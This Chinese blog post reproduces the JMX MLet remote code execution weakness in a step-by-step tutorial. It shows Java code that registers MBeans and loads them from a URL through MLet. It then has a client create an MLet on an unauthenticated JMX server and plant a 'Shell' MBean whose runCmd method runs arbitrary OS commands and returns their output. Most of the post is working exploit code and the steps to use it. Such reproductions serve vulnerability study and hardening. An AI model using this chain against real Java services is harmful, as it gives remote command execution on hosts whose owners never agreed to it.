首页 > 技术文章 > MBean使用及JMX漏洞复现

muphy 2020-11-14 00:01 原文

MBean使用及JMX漏洞复现

源码地址:https://github.com/muphy1112/JMXMBeanShell

JMX是管理扩展,通过JMX可以监控管理按照MBean格式编写的java程序,MBean格式要求有接口和实现两个类,接口命名以MBean结尾,实现类命名为接口名去掉MBean,如:接口HelloMBean与实现类Hello。

1、启动直接从本地注册MBean

1.1、编写HelloMBean接口:HelloMBean.java

package me.muphy.mbean;

public interface HelloMBean {
    public String hello(String s);
}

1.2、编写Hello实现类:Hello.java

package me.muphy.mbean;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Hello implements HelloMBean {
    @Override
    public String hello(String s) {
        System.out.println("hello " + s);
        return "hello " + s;
    }

    public static void main(String[] args) throws Exception {
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        ObjectName helloName = new ObjectName("HelloMbean:name=Hello");
        mBeanServer.registerMBean(new Hello(), helloName);
        Registry registry = LocateRegistry.createRegistry(9010);
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi");
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is running");
    }
}

1.3、编译并启动程序

 

 

 1.4、运行jconsole,选择本地连接

 

 

 1.5、依次操作执行方法调用:HelloMBean》Hello》操作》hello方法》在右边输入参数“ruphy”》点击hello按钮

 

 

 

 

2、启动时使用Java自带的MLet主动从网址注册MBean

2.1、将上面的两个类Hello和HelloMBean打包成JMXHello.jar

2.2、编写mlet文件:mlet.xml,参考网址:https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html,文件内容如下:

<MLET CODE=me.muphy.mbean.Hello ARCHIVE=JMXHello.jar NAME=:NAME=Hello></MLET>

2.2、将mlet.xml与JMXHello.jar一起放在某网站根目录,如访问mlet.xml与JMXMBean.jar:http://localhost:8081/mlet.xml、http://localhost:8081/JMXMBean.jar

2.3、编写JMX管理的类:MLetRemote.java,代码如下:

package me.muphy.mbean;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.loading.MLet;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MLetRemote {
    public static void main(String[] args) throws Exception {
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        MLet mLet = new MLet();
        ObjectName objectName = new ObjectName("JMXMLet:type=MLet");
        mBeanServer.registerMBean(mLet, objectName);
        mLet.getMBeansFromURL("http://localhost:8081/mlet.xml");
        Registry registry = LocateRegistry.createRegistry(9010);
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi");
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is running");
    }
}

2.4、启动后操作同1.5

3、向远程注册MBean,可以是恶意的MBean

3.1、通过第二点得知可以且只能使用MLet下载并注册远程的MBean,假设远程有一台服务器可以被jconsole连接,模仿远程服务器,新建一个类MLetMBeanServer.java,编译并启动,内容如下:

package me.muphy.mbean;

import javax.management.MBeanServer;
import javax.management.remote.*;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MLetMBeanServer {
    public static void main(String[] args) throws Exception {
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        Registry registry = LocateRegistry.createRegistry(1099);
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is running");
    }
}

 

 

 

3.2、编写JMX客户端类:MLetMBeanClient.java,此客户端运行后可以让远程服务端注册MLet,这样我们就可以通过jconsole传入网址http://localhost:8081/mlet.xml让服务端下载并注册MBean,内容如下:

package me.muphy.mbean;

import javax.management.MBeanServerConnection;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class MLetMBeanClient {
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL);
        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        mBeanServerConnection.createMBean("javax.management.loading.MLet", null);
        System.out.println("JMXConnectorServer is running");
    }
}

 

 

 

3.3、输入http://localhost:8081/mlet.xml就和之前一样会出现同样的界面

 

 

 

3、加载恶意MBean远程执行命令

将hello方法换成恶意的方法,既可以实现恶意的命令执行,写了一个带回显的命令执行如下:

3.1、ShellMBean.java

package me.muphy.mbean;

import java.io.IOException;

public interface ShellMBean {
    public String runCmd(String cmd) throws IOException, InterruptedException;
}

3.2、Shell.java(main方法与远程注册无关)

package me.muphy.mbean;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Shell implements ShellMBean {
    @Override
    public String runCmd(String cmd) throws IOException, InterruptedException {
        Runtime runtime = Runtime.getRuntime();
        Process process = runtime.exec(cmd);
        BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
        BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        String stdout_data = "";
        String strtmp;
        while ((strtmp = stdInput.readLine()) != null) {
            stdout_data += strtmp + "\n";
        }
        while ((strtmp = stdError.readLine()) != null) {
            stdout_data += strtmp + "\n";
        }
        process.waitFor();
        try {
            stdError.close();
            stdInput.close();
        } catch (IOException e) {

        }
        return stdout_data;
    }

    public static void main(String[] args) throws Exception {
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        ObjectName shell = new ObjectName("ShellMBean:name=Shell");
        mBeanServer.registerMBean(new Shell(), shell);
        Registry registry = LocateRegistry.createRegistry(9010);
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9010/jmxrmi");
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is running");
    }
}

3.3、执行命令 java -version

 

推荐阅读